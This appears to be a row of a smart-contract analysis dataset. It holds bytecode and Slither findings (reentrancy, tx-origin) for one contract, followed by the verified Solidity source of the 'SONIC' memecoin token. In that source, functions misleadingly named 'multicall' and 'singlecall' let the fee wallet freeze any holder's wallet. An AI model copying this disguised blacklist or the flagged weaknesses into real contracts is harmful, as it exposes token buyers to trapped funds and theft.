e565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b10919061381e565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613608565b60405180910390fd5b5b600f5481611b5f84610d6f565b611b69919061381e565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136a8565b60405180910390fd5b5b6000611bb530610d6f565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190613506565b60405180910390fd5b506000838561205591906138ff565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906136e8565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d91906138ff565b905060004790506000600267ffffffffffffffff81111561237157612370613b0a565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b6613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190612e5b565b816001815181106124a5576124a4613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613703565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af919061381e565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906135e8565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f91906138a5565b905082848261272e9190613874565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613628565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a29695949392919061346f565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f491906130ff565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906136e8565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190613506565b60405180910390fd5b5060008385612b2b9190613874565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906136e8565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000612c8e612c898461379d565b613778565b90508083825260208201905082856020860282011115612cb157612cb0613b43565b5b60005b85811015612ce15781612cc78882612ceb565b845260208401935060208301925050600181019050612cb4565b5050509392505050565b600081359050612cfa81613f1d565b92915050565b600081519050612d0f81613f1d565b92915050565b60008083601f840112612d2b57612d2a613b3e565b5b8235905067ffffffffffffffff811115612d4857612d47613b39565b5b602083019150836020820283011115612d6457612d63613b43565b5b9250929050565b600082601f830112612d8057612d7f613b3e565b5b8135612d90848260208601612c7b565b91505092915050565b60008083601f840112612daf57612dae613b3e565b5b8235905067ffffffffffffffff811115612dcc57612dcb613b39565b5b602083019150836020820283011115612de857612de7613b43565b5b9250929050565b600081359050612dfe81613f34565b92915050565b600081359050612e1381613f4b565b92915050565b600081519050612e2881613f4b565b92915050565b600060208284031215612e4457612e43613b4d565b5b6000612e5284828501612ceb565b91505092915050565b600060208284031215612e7157612e70613b4d565b5b6000612e7f84828501612d00565b91505092915050565b60008060408385031215612e9f57612e9e613b4d565b5b6000612ead85828601612ceb565b9250506020612ebe85828601612ceb565b9150509250929050565b600080600060608486031215612ee157612ee0613b4d565b5b6000612eef86828701612ceb565b9350506020612f0086828701612ceb565b9250506040612f1186828701612e04565b9150509250925092565b60008060408385031215612f3257612f31613b4d565b5b6000612f4085828601612ceb565b9250506020612f5185828601612def565b9150509250929050565b60008060408385031215612f7257612f71613b4d565b5b6000612f8085828601612ceb565b9250506020612f9185828601612e04565b9150509250929050565b60008060008060408587031215612fb557612fb4613b4d565b5b600085013567ffffffffffffffff811115612fd357612fd2613b48565b5b612fdf87828801612d15565b9450945050602085013567ffffffffffffffff81111561300257613001613b48565b5b61300e87828801612d99565b925092505092959194509250565b60006020828403121561303257613031613b4d565b5b600082013567ffffffffffffffff8111156130505761304f613b48565b5b61305c84828501612d6b565b91505092915050565b60006020828403121561307b5761307a613b4d565b5b600061308984828501612def565b91505092915050565b6000602082840312156130a8576130a7613b4d565b5b60006130b684828501612e04565b91505092915050565b600080604083850312156130d6576130d5613b4d565b5b60006130e485828601612e04565b92505060206130f585828601612e04565b9150509250929050565b60008060006060848603121561311857613117613b4d565b5b600061312686828701612e19565b935050602061313786828701612e19565b925050604061314886828701612e19565b9150509250925092565b600061315e838361316a565b60208301905092915050565b61317381613933565b82525050565b61318281613933565b82525050565b6000613193826137d9565b61319d81856137fc565b93506131a8836137c9565b8060005b838110156131d95781516131c08882613152565b97506131cb836137ef565b9250506001810190506131ac565b5085935050505092915050565b6131ef81613945565b82525050565b6131fe81613988565b82525050565b61320d8161399a565b82525050565b600061321e826137e4565b613228818561380d565b93506132388185602086016139d0565b61324181613b52565b840191505092915050565b600061325960238361380d565b915061326482613b63565b604082019050919050565b600061327c601c8361380d565b915061328782613bb2565b602082019050919050565b600061329f60268361380d565b91506132aa82613bdb565b604082019050919050565b60006132c260228361380d565b91506132cd82613c2a565b604082019050919050565b60006132e560238361380d565b91506132f082613c79565b604082019050919050565b6000613308601e8361380d565b915061331382613cc8565b602082019050919050565b600061332b601b8361380d565b915061333682613cf1565b602082019050919050565b600061334e60268361380d565b915061335982613d1a565b604082019050919050565b600061337160218361380d565b915061337c82613d69565b604082019050919050565b600061339460208361380d565b915061339f82613db8565b602082019050919050565b60006133b760298361380d565b91506133c282613de1565b604082019050919050565b60006133da60258361380d565b91506133e582613e30565b604082019050919050565b60006133fd60238361380d565b915061340882613e7f565b604082019050919050565b600061342060248361380d565b915061342b82613ece565b604082019050919050565b61343f81613971565b82525050565b61344e8161397b565b82525050565b60006020820190506134696000830184613179565b92915050565b600060c0820190506134846000830189613179565b6134916020830188613436565b61349e6040830187613204565b6134ab6060830186613204565b6134b86080830185613179565b6134c560a0830184613436565b979650505050505050565b60006020820190506134e560008301846131e6565b92915050565b600060208201905061350060008301846131f5565b92915050565b600060208201905081810360008301526135208184613213565b905092915050565b600060208201905081810360008301526135418161324c565b9050919050565b600060208201905081810360008301526135618161326f565b9050919050565b6000602082019050818103600083015261358181613292565b9050919050565b600060208201905081810360008301526135a1816132b5565b9050919050565b600060208201905081810360008301526135c1816132d8565b9050919050565b600060208201905081810360008301526135e1816132fb565b9050919050565b600060208201905081810360008301526136018161331e565b9050919050565b6000602082019050818103600083015261362181613341565b9050919050565b6000602082019050818103600083015261364181613364565b9050919050565b6000602082019050818103600083015261366181613387565b9050919050565b60006020820190508181036000830152613681816133aa565b9050919050565b600060208201905081810360008301526136a1816133cd565b9050919050565b600060208201905081810360008301526136c1816133f0565b9050919050565b600060208201905081810360008301526136e181613413565b9050919050565b60006020820190506136fd6000830184613436565b92915050565b600060a0820190506137186000830188613436565b6137256020830187613204565b81810360408301526137378186613188565b90506137466060830185613179565b6137536080830184613436565b9695505050505050565b60006020820190506137726000830184613445565b92915050565b6000613782613793565b905061378e8282613a03565b919050565b6000604051905090565b600067ffffffffffffffff8211156137b8576137b7613b0a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061382982613971565b915061383483613971565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561386957613868613a7d565b5b828201905092915050565b600061387f82613971565b915061388a83613971565b92508261389a57613899613aac565b5b828204905092915050565b60006138b082613971565b91506138bb83613971565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f4576138f3613a7d565b5b828202905092915050565b600061390a82613971565b915061391583613971565b92508282101561392857613927613a7d565b5b828203905092915050565b600061393e82613951565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613993826139ac565b9050919050565b60006139a582613971565b9050919050565b60006139b7826139be565b9050919050565b60006139c982613951565b9050919050565b60005b838110156139ee5780820151818401526020810190506139d3565b838111156139fd576000848401525b50505050565b613a0c82613b52565b810181811067ffffffffffffffff82111715613a2b57613a2a613b0a565b5b80604052505050565b6000613a3f82613971565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7257613a71613a7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f2681613933565b8114613f3157600080fd5b50565b613f3d81613945565b8114613f4857600080fd5b50565b613f5481613971565b8114613f5f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122056cbc4365c53e0270f89aa705dd1e0d9b0f5831593eb78ec09d27387c3a1a4a064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,670 |
0x625e75457585176afd78048ccfd61b6a2d8d981b | /**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
/**
___------__ ___------__
|\__-- /\ _- |\__-- /\ _-
|/ __ - |/ __ -
//\ / \ /__ //\ / \ /__
| o| 0|__ --_ | o| 0|__ --_
\\____-- __ \ ___- \\____-- __ \ ___-
(@@ __/ / /_ (@@ __/ / /_
-_____--- --_ -_____--- --_
// \ \\ ___- // \ \\ ___
//|\__/ \\ \ //|\__/ \\ \
\_-\_____/ \-\ \_-\_____/ \-\
// \\--\| // \\--\|
____// ||_ ____// ||_
/_____\ /___\ /_____\ /___\
_______ _______ _ _________ _______
( ____ \( ___ )( ( /|\__ __/( ____ \
| ( \/| ( ) || \ ( | ) ( | ( \/
| (_____ | | | || \ | | | | | |
(_____ )| | | || (\ \) | | | | |
) || | | || | \ | | | | |
/\____) || (___) || ) \ |___) (___| (____/\
\_______)(_______)|/ )_)\_______/(_______/
Be as fast as SONIC, fill your wallet before the others.
/*
MAX buy : 25.000.000.000 For 10min AFTER no limit AND renounce
MAX wallet : 75.000.000.000 For 10min AFTER no limit AND renounce
Tax : 3/3
*/
pragma solidity ^0.8.10;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SONIC is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"SONIC"; ////
string public constant symbol = unicode"SONIC"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 3;
uint public _sellFee = 3;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxWallet;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxWallet, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 25000000000 * 10**9; // 2.5%
_maxWallet = 75000000000 * 10**9; // 7.5%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function singlecall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
//Set maximum transaction
function setmaxBuyAmount(uint256 maxBuyAmount) public onlyOwner {
_maxBuyAmount = maxBuyAmount;
}
function setMaxWallet(uint256 maxWallet) public onlyOwner {
_maxWallet = maxWallet;
}
} | 0x6080604052600436106102085760003560e01c80636fc3eaec11610118578063c3c8cd80116100a0578063dcb0e0ad1161006f578063dcb0e0ad146105ab578063dd62ed3e146105cb578063e8078d9414610611578063fa7a5f7814610626578063fb7ed9611461064657600080fd5b8063c3c8cd801461054c578063c73414eb14610561578063c9567bf914610581578063db92dbb61461059657600080fd5b80638da5cb5b116100e75780638da5cb5b146104d857806394b8d8f2146104f657806395d89b411461023d578063a9059cbb14610516578063b2131f7d1461053657600080fd5b80636fc3eaec1461047857806370a082311461048d578063715018a6146104ad57806382247ec0146104c257600080fd5b8063313ce5671161019b57806345596e2e1161016a57806345596e2e146103ca57806349bd5a5e146103ea5780635090161714610422578063590f897e146104425780635d0044ca1461045857600080fd5b8063313ce5671461033e57806332d873d8146103655780633bbac5791461037b57806340b9a54b146103b457600080fd5b80630b78f9c0116101d75780630b78f9c0146102cd57806318160ddd146102ed57806323b872dd1461030957806327f3a72a1461032957600080fd5b80630492f0551461021457806306fdde031461023d5780630802d2f61461027b578063095ea7b31461029d57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600e5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b5061026e60405180604001604052806005815260200164534f4e494360d81b81525081565b6040516102349190611c49565b34801561028757600080fd5b5061029b610296366004611cc3565b610666565b005b3480156102a957600080fd5b506102bd6102b8366004611ce0565b6106db565b6040519015158152602001610234565b3480156102d957600080fd5b5061029b6102e8366004611d0c565b6106f1565b3480156102f957600080fd5b50683635c9adc5dea0000061022a565b34801561031557600080fd5b506102bd610324366004611d2e565b610774565b34801561033557600080fd5b5061022a61085c565b34801561034a57600080fd5b50610353600981565b60405160ff9091168152602001610234565b34801561037157600080fd5b5061022a60105481565b34801561038757600080fd5b506102bd610396366004611cc3565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103c057600080fd5b506102